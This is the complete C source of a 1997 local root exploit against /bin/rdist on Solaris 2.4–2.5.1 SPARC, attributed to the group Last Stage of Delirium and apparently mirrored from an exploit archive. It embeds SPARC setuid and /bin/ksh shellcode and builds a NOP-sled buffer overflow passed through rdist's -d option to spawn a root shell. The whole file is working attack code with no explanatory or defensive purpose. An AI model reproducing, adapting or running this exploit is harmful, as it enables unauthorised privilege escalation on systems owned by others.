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- /*## copyright LAST STAGE OF DELIRIUM dec 1997 poland *://lsd-pl.net/ #*/
- /*## /bin/rdist #*/
-
- #define NOPNUM 900
- #define ADRNUM 100
- #define TMPNUM 100
- #define ALLIGN 3
-
- char setuidcode[]=
- "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
- "\x82\x10\x20\x17" /* mov 0x17,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- ;
-
- char shellcode[]=
- "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
- "\x20\xbf\xff\xff" /* bn,a <shellcode> */
- "\x7f\xff\xff\xff" /* call <shellcode+4> */
- "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
- "\x92\x02\x20\x10" /* add %o0,16,%o1 */
- "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
- "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
- "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
- "\x82\x10\x20\x0b" /* mov 0xb,%g1 */
- "\x91\xd0\x20\x08" /* ta 8 */
- "/bin/ksh"
- ;
-
- char jump[]=
- "\x81\xc3\xe0\x08" /* jmp %o7+8 */
- "\x90\x10\x00\x0e" /* mov %sp,%o0 */
- ;
-
- static char nop[]="\x80\x1c\x40\x11";
-
- main(int argc,char **argv){
- char buffer[10000],adr[4],tmp[4],*b;
- int i;
-
- printf("copyright LAST STAGE OF DELIRIUM dec 1997 poland //lsd-pl.net/\n");
- printf("/bin/rdist for solaris 2.4 2.5 2.5.1 sparc\n\n");
-
- *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+9472+16;
- *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+9472-3000;
-
- b=buffer;
- sprintf(b,"xxx=");
- b+=4;
- *b++=' ';
- for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
- for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
- for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
- for(i=0;i<ALLIGN;i++) *b++=0xff;
- for(i=0;i<ADRNUM;i++) *b++=tmp[i%4];
- for(i=0;i<TMPNUM;i++) *b++=adr[i%4];
- *b=0;
-
- execle("/bin/rdist","lsd","-d",buffer,"-c","/tmp","${xxx}",0,0);
- }
- /* www.hack.co.za [4 August 2000]*/